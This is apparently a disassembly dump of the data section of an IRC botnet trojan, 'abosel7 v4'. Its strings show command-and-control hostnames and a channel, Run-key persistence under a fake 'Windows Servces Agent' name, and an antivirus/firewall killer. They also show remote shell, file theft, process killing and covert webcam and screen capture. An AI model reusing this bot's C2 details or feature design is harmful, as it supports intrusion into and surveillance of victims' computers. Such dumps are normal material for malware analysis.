		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(4B4EBF76h), 5 dup(290E2EF5h), 5 dup(3948FE06h)
		dd 7Ah dup(0)
		dd 3948FE06h, 0
		dd 4B4EBF76h, 15h dup(0)
		dd 290E2EF5h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 72657373h, 652E6376h, 6578h
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces	db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
